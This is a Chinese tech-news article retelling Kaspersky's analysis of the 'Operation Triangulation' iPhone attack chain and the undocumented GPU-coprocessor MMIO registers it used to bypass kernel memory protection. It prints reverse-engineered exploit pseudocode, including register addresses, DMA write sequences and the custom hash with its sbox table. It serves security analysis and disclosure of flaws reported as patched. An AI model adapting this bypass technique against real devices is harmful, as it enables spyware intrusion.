历时四年，iPhone遭史上最复杂攻击！一条iMessage窃走所有隐私数据，Karpathy惊呼-51CTO.COM

最近，卡巴斯基的研究人员发现，有黑客在四年多的时间里给数千部iPhone留下了一个非常隐蔽的后门。

通过这个硬件级别的后门，能直接获得iPhone最高级别的Root权限。而要成功利用这个后门，必须要对苹果产品最底层的机制有非常全面细致的了解。

以至于发现这个漏洞的卡巴斯基研究人员称「无法想象这个漏洞是如何被意外发现的。」在他看来，除了苹果和ARM之外，几乎不可能有人能获知这个漏洞。

而间谍软件可以通过这个复杂的漏洞，将麦克风录音、照片、地理位置和其他敏感数据传输到攻击者控制的服务器。

尽管重新启动就能关闭这个漏洞，但攻击者只需在设备重新启动后向设备发送新的恶意iMessage文本，就能重新开启这个漏洞。

期间完全不需要用户进行操作，而且也不会留下任何蛛丝马迹，非常隐蔽。

对此，OpenAI科学家Andrej Karpathy表示：这无疑是我们迄今为止所见过的攻击链中最为复杂的一个。

对此，Karpathy认为，这已经不是个人行为能够触及的范畴了，应该是国家层面的行为了。

而一位声称自己还用Palm手机的网友回复道：「我坚持用Palm手机的意义就在这里。」

甚至还有网友感叹：「如果你成功地惹恼了具备这种技术能力和资源的人，可能你最不需要担心的就是自己手机里的数据了。」

目前，苹果公司已于2023年10月25日修复了这一核心安全漏洞。

「三角行动」攻击链

这个漏洞被发现的研究人员称为「三角行动」（Operation Triangulation）。

- 攻击者通过iMessage发送一个恶意附件，应用程序会在用户毫无察觉的情况下开启这个漏洞。

- 该附件利用了一个远程代码执行的漏洞（CVE-2023-41990），该漏洞存在于一个只有苹果公司知道的、未公开的 ADJUST TrueType字体指令中。这个指令自九十年代初就存在，直到最近一个更新才被移除。

- 攻击过程中，它采用了一种称为「返回/跳转导向编程」的高级编程技巧，并且使用了多个阶段的代码，这些代码是用NSExpression/NSPredicate查询语言编写的，它们修改JavaScriptCore库的环境，以执行一个用JavaScript编写的权限提升的漏洞攻击程序。

- 这个JavaScript漏洞攻击程序经过特殊处理，使其变得几乎无法读懂，同时也尽可能地缩小了它的体积。然而，它仍然包含大约11000行代码。这些代码主要用于分析和操纵JavaScriptCore和内核内存。

- 它还利用了JavaScriptCore的一个调试功能DollarVM ($vm)，通过这个功能，攻击者可以在脚本中操纵JavaScriptCore的内存，并调用系统原生的API函数。

- 这个攻击工具被设计成兼容新旧型号的iPhone，并且对于新型号的设备，它包含了一个用于绕过指针认证码（PAC）的技术，这使得攻击能够针对最新设备生效。

- 它通过利用XNU内存映射系统调用（mach_make_memory_entry和vm_map）中的一个整数溢出漏洞（CVE-2023-32434），实现了以用户级别对设备所有物理内存的读写控制。

- 该工具还运用了硬件内存映射I/O（MMIO）寄存器来规避页面保护层（PPL），这一问题在CVE-2023-38606中已经被缓解。

- 利用了所有漏洞之后，JavaScript漏洞便能随意操控设备，包括部署间谍软件。不过，攻击者选择了：（a）启动 IMAgent进程，注入代码以清除利用痕迹；（b）无痕模式下运行Safari进程，并引导至含有下一阶段内容的网页。

- 该网页内嵌了一个脚本，能够确认受害者身份，一旦验证通过，便会加载下一阶段的攻击代码：Safari漏洞。

- Safari漏洞通过CVE-2023-32435来执行shellcode。

- 这个shellcode进一步执行另一个内核级漏洞，同样利用CVE-2023-32434和CVE-2023-38606。它在规模和功能上都非常庞大，但与JavaScript编写的内核漏洞截然不同。它们共享的只是与上述漏洞利用相关的部分代码。然而，其大部分代码也专注于解析和操控内核内存。

- 这一漏洞最终获得了root权限，并继续执行其他阶段的操作，这样就可以加载间谍软件。

谜一样的漏洞

讨论的焦点是一个已经得到修复的安全漏洞，编号为CVE-2023-38606。

新一代iPhone在硬件层面增加了额外的安全防护措施，专门用来保护内核内存中的敏感区域。

即使攻击者能够读写内核内存，比如利用CVE-2023-32434漏洞实施的这次攻击，这种防护也能阻止他们完全控制设备。

研究人员发现，攻击者为了规避这种硬件防护，竟然利用了苹果自家设计的SoC中的另一项硬件功能。

简单来说，攻击者的手法是这样的：他们在绕过硬件防护的同时，将数据、目标地址和数据的哈希值一并写入到芯片中未被固件使用的某些未知硬件寄存器，以此来对特定的物理地址进行数据写入。

研究人员推测，这个不为人知的硬件功能很可能是为了苹果工程师或工厂的调试或测试而设计的，或者是意外包含在内的。由于固件并未使用这一功能，研究人员对于攻击者是如何知晓并利用这一功能的方式一无所知。

技术细节

在系统级芯片（System on a Chip, SoC）中，各种外设可能会提供特殊的硬件寄存器，以供中央处理器（CPU）使用，从而控制这些外设。

为了实现这一点，这些硬件寄存器被映射到CPU可以访问的内存中，这种方式被称为「内存映射输入/输出 (Memory-Mapped I/O, MMIO)」。

苹果的产品，如iPhone、Mac以及其他设备中，外围设备的MMIO地址范围被存储在一个特殊的文件格式中，名为「设备树（DeviceTree）」。

这些设备树文件可以从固件中提取，并且可以使用dt（DeviceTree）工具来查看它们的内容。

设备树中MMIO的存储示例

例如，在这张截图里，可以看到cpu0的acc-impl MMIO范围的起始地址（0x210f00000）和大小（0x50000）。

深入研究「三角行动」（Operation Triangulation）攻击中使用的漏洞时，研究人员意外发现，攻击者为了绕过硬件级别的内核内存保护所使用的大部分MMIO地址，并没有在设备树中定义。

这个漏洞专门针对苹果从A12到A16的SoC，攻击的是位于0x206040000，0x206140000和0x206150000的神秘MMIO寄存器块。

这激发了研究人员的好奇心，进行了一系列的尝试。翻遍了各种设备的设备树文件和固件文件，但都没找到任何线索。

这让研究人员困惑不已，这些被攻击者利用的MMIO地址，为什么不在固件中使用呢？攻击者是怎么发现这些地址的？这些MMIO地址到底属于哪些外围设备？

之后研究人员决定去查看一下这些未知MMIO块附近是否有其他已知的MMIO地址。这次，他终于找到了一些有价值的信息。

在gfx-asc的设备树条目的信息中，这是GPU的协处理器。

设备树中gfx-asc条目的数据转储

它包含两个MMIO（Memory-Mapped I/O）内存映射范围：0x206400000–0x20646C000和0x206050000–0x206050008。

gfx-asc MMIO范围与漏洞所用地址的相关性

要更加准确地描述，这个漏洞使用了以下一些未知的地址：0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048。

研究人员发现，这些地址大部分位于两个gfx-asc内存区域的中间，而剩余的一个地址则靠近第一个gfx-asc区域的起始位置。

这暗示了所有这些内存映射输入输出（MMIO）寄存器很有可能是属于图形处理单元（GPU）的协处理器！

随后，研究人员对这个漏洞进行了更深入的分析，并且发现了一个进一步的证据。

在初始化过程中，漏洞首先会写入一些位于每个SoC特定地址的内存映射输入输出（MMIO）寄存器。

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    base = 0x23B700408
    command = 0x1F0023FF


elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    base = 0x23B7003C8
    command = 0x1F0023FF


elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    base = 0x23B7003D0
    command = 0x1F0023FF


elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    base = 0x23B080390
    command = 0x1F0003FF


elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    base = 0x23B080388
    command = 0x1F0003FF


if ((~read_dword(base) & 0xF) != 0):
    write_dword(base, command)
    while(True):
        if ((~read_dword(base) & 0xF) == 0):
            break1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.

漏洞中GFX电源管理器控制代码的伪代码

在设备树和Siguza开发的工具pmgr的辅助下，研究人员发现所有这些地址都对应于电源管理器中的GFX寄存器所在的MMIO（Memory-Mapped Input/Output）范围。

最后，当研究人员尝试去访问这些未知区域的寄存器时，得到了第三个证实。

GPU的协处理器几乎立刻报错，显示信息：「GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1)」。

这样，研究人员就确认了所有这些未知的MMIO寄存器，它们是被用来进行漏洞利用的，确实属于GPU的协处理器。

这促使研究人员更深入地研究这个固件，这些固件也是用ARM架构编写且未加密的，但是他在固件中并没有找到任何与这些寄存器相关的信息。

他决定更仔细地研究这个漏洞是如何操纵这些未知的MMIO寄存器的。在所有寄存器中，0x206040000特别引人注目，因为它位于一个与其他所有寄存器都不同的独立MMIO块中。

它仅在漏洞的初始化和结束阶段被操作：在初始化过程中是第一个被设置的寄存器，在结束阶段是最后一个。

根据研究人员的经验，很明显这个寄存器不是用来启用/禁用漏洞所利用的硬件功能，就是用来中断控制。

研究人员开始追踪中断的线索，不久之后，他不仅识别出了这个未知的寄存器0x206040000，还发现了地址范围0x206000000–0x206050000究竟映射了什么。下面展示的是研究人员能够识别出的漏洞代码的逆向工程结果。

def ml_dbgwrap_halt_cpu():


    value = read_qword(0x206040000)


    if ((value & 0x90000000) != 0):
        return


    write_qword(0x206040000, value | 0x80000000)


    while (True):
        if ((read_qword(0x206040000) & 0x10000000) != 0):
            break


def ml_dbgwrap_unhalt_cpu():


    value = read_qword(0x206040000)


    value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000
    write_qword(0x206040000, value)


    while (True):
        if ((read_qword(0x206040000) & 0x10000000) == 0):
            break1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.

利用程序使用0x206040000寄存器的伪代码1.

成功将之前伪代码中的ml_dbgwrap_halt_cpu函数与XNU源代码的dbgwrap.c文件中同名函数匹配起来。该文件包含了用于操控主CPU的ARM CoreSight MMIO调试寄存器（ARM CoreSight MMIO debug registers）的代码。

源代码显示，存在四个与CoreSight相关的MMIO区域，它们分别是ED、CTI、PMU和UTT。每个区域占据0x10000字节，且彼此紧邻。

ml_dbgwrap_halt_cpu函数利用了UTT区域。与其他三个区域不同，UTT并非来自ARM，而是苹果专门为了便利性添加的专有特性。

研究人员确认了地址范围0x206000000到0x206050000确实是GPU协处理器的CoreSight MMIO调试寄存器区块，这是通过向对应地址写入ARM_DBG_LOCK_ACCESS_KEY实现的。

主CPU的每个核心都有自己的CoreSight MMIO调试寄存器区块，但不同于GPU协处理器，它们的地址可以在设备树中找到。

另一个有趣的发现是，漏洞的作者（们）知道如何利用苹果公司专有的UTT区域来重新启动CPU，而这部分代码并不包含在XNU源代码中。可以合理推测，这一操作很可能是通过实验得出的。

然而，通过实验是无法发现攻击者在第二个未知区域内对寄存器的操作的。研究人员不确定那里有哪些MMIO调试寄存器区块，如果这些寄存器并未被固件所用，攻击者是如何发现其用途的也是个谜。

现在，再来关注漏洞利用的其他未知寄存器。

寄存器地址0x206140008和0x206140108负责控制启用/禁用以及执行漏洞所依赖的硬件功能。

def dma_ctrl_1():


    ctrl = 0x206140108


    value = read_qword(ctrl)
    write_qword(ctrl, value | 0x8000000000000001)
    sleep(1)


    while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)


def dma_ctrl_2(flag):


    ctrl = 0x206140008


    value = read_qword(ctrl)


    if (flag): 
        if ((value & 0x1000000000000000) == 0):
            value = value | 0x1000000000000000 
            write_qword(ctrl, value)
    else:
        if ((value & 0x1000000000000000) != 0):
            value = value & ~0x1000000000000000 
            write_qword(ctrl, value)


def dma_ctrl_3(value):


    ctrl = 0x206140108


    value = value | 0x8000000000000000


    write_qword(ctrl, read_qword(ctrl) & value)


    while ((read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)


def dma_init(original_value_0x206140108):


    dma_ctrl_1()
    dma_ctrl_2(False)
    dma_ctrl_3(original_value_0x206140108)


def dma_done(original_value_0x206140108):


    dma_ctrl_1()
    dma_ctrl_2(True)
    dma_ctrl_3(original_value_0x206140108)1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.

利用程序使用 0x206140008 和 0x206140108 寄存器的伪代码

寄存器0x206150020专门用于苹果的A15/A16 Bionic SoC。在漏洞利用的启动阶段，此寄存器会被设置为1；而在漏洞利用完成后，会恢复为初始的数值。

寄存器0x206150040被用来保存一些状态标识和目标物理地址的低位部分。

最后的寄存器，0x206150048，则负责存储待写入的数据以及目标物理地址的高位部分。这些数据会与数据的校验哈希值以及另外的数值（可能是指令）一起打包。该硬件功能会将数据分块，每块大小为64（0x40）字节进行对齐写入，并且需要连续九次写操作将全部数据写入至0x206150048寄存器。

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    i = 8
    mask = 0x7FFFFFF


elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    i = 8
    mask = 0x3FFFFF


elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    i = 0x28
    mask = 0x3FFFFF


elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    i = 0x28
    mask = 0x3FFFFF


elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    i = 0x28
    mask = 0x3FFFFF


dma_init(original_value_0x206140108)


hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)


write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))


pos = 0
while (pos < 0x40):
    write_qword(0x206150048, read_qword(data + pos))
    pos += 8


phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1F
write_qword(0x206150048, value)


dma_done(original_value_0x206140108)1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.

利用漏洞使用0x206150040和0x206150048寄存器的伪代码

只要操作无误，硬件就会执行直接内存访问（DMA）操作，把数据写入指定的内存地址。

利用这项硬件特性，攻击者可以绕过页面保护层（Page Protection Layer, PPL），主要用途是修改页表条目。此外，它还能修改受保护的__PPLDATA段内的数据。尽管这个漏洞并未用于修改内核代码，但在研究人员进行的一次测试中，曾成功修改了内核的__TEXT_EXEC段内的一条指令，并引发了一个显示预期地址和值的「未定义内核指令」错误。

这种情况只出现过一次，其他尝试都导致了AMCC错误的发生。关于那次成功的尝试，研究人员有一些思路，未来研究人员计划深入研究，因为他认为，将一个本用于攻击的漏洞转化为正面用途，比如在新款iPhone上启用内核调试功能，将会非常有意义。

讨论了所有与MMIO（Memory-Mapped I/O）寄存器相关的工作之后，现在来关注最后一个话题：哈希值的计算方法。具体的算法如下所示。

sbox = [
    0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
    0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 
    0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
    0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
    0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
    0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 
    0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
    0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
    0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
    0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 
    0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
    0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
    0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
    0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 
    0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
    0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
    0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
    0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 
    0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
    0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
    0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
    0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 
    0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
    0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
    0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
    0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 
    0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
    0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
    0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
    0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 
    0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
    0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380
]


def calculate_hash(buffer):


    acc = 0
    for i in range(8):
        pos = i * 4
        value = read_dword(buffer + pos)
        for j in range(32):
            if (((value >> j) & 1) != 0):
                acc ^= sbox[32 * i + j]


    return acc1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.

该未知硬件功能使用的哈希函数伪代码

如你所见，这是一种定制的算法，其哈希值的计算依赖于一个预先定义好的sbox表（sbox table）。他尝试在庞大的二进制文件库中搜寻它，但一无所获。

你可能已经注意到，这个哈希并不特别安全，因为它只有20位（两次各计算10位），但只要没人知道如何计算和应用它，它就足够用了。这种做法最恰当的描述就是「隐晦式安全（security by obscurity）」。

如果攻击者没有使用这个硬件特性，并且固件中没有任何关于如何使用它的指引，他们如何可能发现并利用它呢？

研究人员又做了一个测试。他发现Mac内置的M1芯片也具备这一未知的硬件特性。接着，他利用了功能强大的m1n1工具进行了一次实验。

该工具具备一个trace_range功能，可以追踪对指定MMIO寄存器范围的所有访问，用它来监测0x206110000到0x206400000内存范围的活动，但结果显示macOS并未使用这些寄存器。

这次涉及到的GPU协处理器是最近才在苹果的SoC中首次出现的。研究人员怀疑这个硬件功能在之前的零售固件中有过任何用途。

尽管如此，也不能排除它可能曾在某个特定固件更新或XNU源代码的发布中不小心泄露过，之后又被删除的可能性。

研究人员原本希望通过iOS 16.6中对这个漏洞的修复，来探究第二个未知区域里隐藏了什么。最后确实找到了苹果是如何解决这个问题的，但他们故意将修复措施弄得难以理解。

苹果通过在设备树的pmap-io-ranges中加入了MMIO范围0x206000000–0x206050000和0x206110000–0x206400000来防止这个漏洞被利用。

XNU根据这里的信息来判断是否允许某些物理地址的映射。所有记录在案的条目都贴上了一个标签名，这些标签清楚地说明了这些内存范围的用途。

存储在pmap-io-ranges中的条目示例

在这里，PCIe指的是「高速外围设备互连（Peripheral Component Interconnect Express）」，DART是「设备地址解析表（Device Address Resolution Table）」，DAPF代表「设备地址过滤器（Device Address Filter）」，诸如此类。

下面列出的是被漏洞利用的内存区域的标签名称。这些标签在列表中显得格外醒目。

利用漏洞的区域条目

「隐晦式安全」并不安全

可以看到，这个漏洞非比寻常，我们既不清楚攻击者如何学会利用这个未知的硬件特性，也不知道它最初是用来做什么的。

甚至都不确定它是由苹果开发出来的，还是类似ARM CoreSight这样的第三方组件造成的。

但漏洞说明了一个事实：只要存在能够绕过安全防护的硬件特征，那么无论多么先进的硬件安全措施，在精明的攻击者面前都会变得毫无用处。

硬件安全常常依赖于「隐晦式安全」（security through obscurity），相较于软件来说，硬件更难逆向工程分析。

但这种方法本身是存在缺陷的，因为所有的秘密终将有被揭露的一天。那些依赖于「隐晦式安全」来维护的系统，永远无法做到真正的安全。